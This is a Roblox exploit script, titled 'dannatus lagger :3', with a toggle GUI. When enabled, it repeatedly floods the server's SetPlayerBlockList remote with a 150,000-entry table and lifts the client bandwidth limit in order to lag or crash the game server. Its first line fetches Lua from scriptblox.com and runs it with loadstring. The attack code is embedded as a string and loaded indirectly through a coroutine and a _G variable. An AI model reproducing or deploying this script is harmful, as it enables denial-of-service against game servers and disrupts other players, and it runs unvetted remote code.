pcall(function() loadstring(game:HttpGet("https://scriptblox.com/ingest/clientv2.lua"))("proj_b30394732fd9", "1.0.0", false) end) local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local RunService = game:GetService("RunService") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local COLORS = { bg = Color3.fromRGB(14, 14, 16), surface = Color3.fromRGB(22, 22, 26), disabled = Color3.fromRGB(38, 38, 44), border = Color3.fromRGB(60, 60, 68), accent = Color3.fromRGB(230, 35, 35), accentDark = Color3.fromRGB(170, 22, 22), accentBright = Color3.fromRGB(255, 70, 70), crimson = Color3.fromRGB(110, 15, 15), text = Color3.fromRGB(238, 238, 242), white = Color3.fromRGB(255, 255, 255), black = Color3.fromRGB(0, 0, 0), } local FONT = Enum.Font.GothamBlack local SRC = [==[ local RunService = game:GetService("RunService") local Children = 150000 local NestedPerChild = 0 local FieldsPerChild = 0 local FireBurst = 1 local FrameDelay = 0.125 local FieldSize = 0 local RebuildEach = false local state = { running = false, thread = nil, remote = nil, cache = nil, pad = "", } local function resolve() local rrs = game:FindFirstChild("RobloxReplicatedStorage") if not rrs then return nil end local r = rrs:FindFirstChild("SetPlayerBlockList") if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then return r end return nil end state.remote = resolve() pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge) end) state.pad = FieldSize > 0 and string.rep("P", FieldSize) or "" local function build() local root = table.create(Children) for i = 1, Children do local entry = { id = i, v = i * 2 } for k = 1, FieldsPerChild do entry["k" .. k] = (FieldSize > 0) and state.pad or (i + k) end for j = 1, NestedPerChild do entry["n" .. j] = { a = i, b = j } end root[i] = entry end return root end local function fire() if not state.remote then state.remote = resolve() if not state.remote then return end end local payload if RebuildEach or not state.cache then payload = build() if not RebuildEach then state.cache = payload end else payload = state.cache end for _ = 1, FireBurst do state.remote:FireServer(payload) end end local function start() if state.running then return end state.running = true state.cache = nil state.thread = task.spawn(function() while state.running do pcall(fire) if FrameDelay > 0 then task.wait(FrameDelay) else RunService.Heartbeat:Wait() end end end) end local function stop() state.running = false if state.thread then pcall(task.cancel, state.thread) end state.thread = nil state.cache = nil end return { start = start, stop = stop, toggle = function() if state.running then stop() else start() end end, isRunning = function() return state.running end, } ]==] local loader = coroutine.create(function() local chunk = loadstring(SRC) if not chunk then return end local ok, api = pcall(chunk) if ok and type(api) == "table" then _G.__ALT = api end end) coroutine.resume(loader) loader = nil local api = _G.__ALT _G.__ALT = nil local screenGui = Instance.new("ScreenGui") screenGui.Name = "DannatuUI" screenGui.ResetOnSpawn = false screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling screenGui.IgnoreGuiInset = true screenGui.Parent = playerGui local main = Instance.new("Frame") main.Name = "MainFrame" main.Size = UDim2.new(0, 210, 0, 92) main.Position = UDim2.new(0.5, 0, 0.5, 0) main.AnchorPoint = Vector2.new(0.5, 0.5) main.BackgroundColor3 = COLORS.bg main.BorderSizePixel = 0 main.ClipsDescendants = false main.Parent = screenGui local mainCorner = Instance.new("UICorner") mainCorner.CornerRadius = UDim.new(0, 10) mainCorner.Parent = main local mainGrad = Instance.new("UIGradient") mainGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14)) mainGrad.Rotation = 135 mainGrad.Parent = main local borderFrame = Instance.new("Frame") borderFrame.Name = "BorderFrame" borderFrame.Size = UDim2.new(1, 2, 1, 2) borderFrame.Position = UDim2.new(0.5, 0, 0.5, 0) borderFrame.AnchorPoint = Vector2.new(0.5, 0.5) borderFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) borderFrame.BorderSizePixel = 0 borderFrame.ZIndex = 0 borderFrame.Parent = main local borderCorner = Instance.new("UICorner") borderCorner.CornerRadius = UDim.new(0, 11) borderCorner.Parent = borderFrame local borderGrad = Instance.new("UIGradient") borderGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.0, Color3.fromRGB(40, 5, 5)), ColorSequenceKeypoint.new(0.25, Color3.fromRGB(180, 20, 20)), ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 90, 90)), ColorSequenceKeypoint.new(0.75, Color3.fromRGB(180, 20, 20)), ColorSequenceKeypoint.new(1.0, Color3.fromRGB(40, 5, 5)), }) borderGrad.Rotation = 0 borderGrad.Parent = borderFrame local innerMask = Instance.new("Frame") innerMask.Name = "InnerMask" innerMask.Size = UDim2.new(1, -2, 1, -2) innerMask.Position = UDim2.new(0.5, 0, 0.5, 0) innerMask.AnchorPoint = Vector2.new(0.5, 0.5) innerMask.BackgroundColor3 = COLORS.bg innerMask.BorderSizePixel = 0 innerMask.ZIndex = 1 innerMask.Parent = main local innerCorner = Instance.new("UICorner") innerCorner.CornerRadius = UDim.new(0, 9) innerCorner.Parent = innerMask local innerGrad = Instance.new("UIGradient") innerGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14)) innerGrad.Rotation = 135 innerGrad.Parent = innerMask local title = Instance.new("TextLabel") title.Name = "Title" title.Size = UDim2.new(1, 0, 0, 34) title.Position = UDim2.new(0, 0, 0, 0) title.BackgroundTransparency = 1 title.Font = FONT title.Text = "dannatus lagger :3" title.TextColor3 = COLORS.text title.TextSize = 14 title.TextXAlignment = Enum.TextXAlignment.Center title.ZIndex = 3 title.Parent = main local toggle = Instance.new("TextButton") toggle.Name = "Toggle" toggle.Size = UDim2.new(1, -20, 0, 38) toggle.Position = UDim2.new(0, 10, 0, 44) toggle.BackgroundColor3 = COLORS.disabled toggle.BorderSizePixel = 0 toggle.Font = FONT toggle.Text = "" toggle.TextTransparency = 1 toggle.AutoButtonColor = false toggle.ZIndex = 3 toggle.Parent = main local toggleCorner = Instance.new("UICorner") toggleCorner.CornerRadius = UDim.new(0, 8) toggleCorner.Parent = toggle local toggleGrad = Instance.new("UIGradient") toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54)) toggleGrad.Rotation = 135 toggleGrad.Parent = toggle local toggleStroke = Instance.new("UIStroke") toggleStroke.Color = COLORS.crimson toggleStroke.Thickness = 1.66 toggleStroke.Transparency = 0 toggleStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border toggleStroke.Parent = toggle local toggleLabel = Instance.new("TextLabel") toggleLabel.Name = "Label" toggleLabel.Size = UDim2.new(1, 0, 1, 0) toggleLabel.Position = UDim2.new(0, 0, 0, 0) toggleLabel.BackgroundTransparency = 1 toggleLabel.Font = FONT toggleLabel.Text = "DISABLED" toggleLabel.TextColor3 = COLORS.white toggleLabel.TextTransparency = 0 toggleLabel.TextSize = 14 toggleLabel.TextXAlignment = Enum.TextXAlignment.Center toggleLabel.TextYAlignment = Enum.TextYAlignment.Center toggleLabel.ZIndex = 5 toggleLabel.Active = false toggleLabel.Parent = toggle local active = false RunService.RenderStepped:Connect(function(dt) local speed = active and 160 or 60 borderGrad.Rotation = (borderGrad.Rotation + speed * dt) % 360 end) local function setActive(state) active = state if state then toggle.BackgroundColor3 = COLORS.accentBright toggleGrad.Color = ColorSequence.new(COLORS.accent, COLORS.accentBright) toggleGrad.Rotation = 0 toggleStroke.Color = COLORS.accentBright toggleLabel.Text = "ENABLED" toggleLabel.TextColor3 = COLORS.black if api and api.start then pcall(api.start) end else toggle.BackgroundColor3 = COLORS.disabled toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54)) toggleGrad.Rotation = 135 toggleStroke.Color = COLORS.crimson toggleLabel.Text = "DISABLED" toggleLabel.TextColor3 = COLORS.white if api and api.stop then pcall(api.stop) end end end toggle.MouseButton1Click:Connect(function() setActive(not active) end) local dragging = false local dragStart, startPos main.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = main.Position end end) UserInputService.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart main.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end)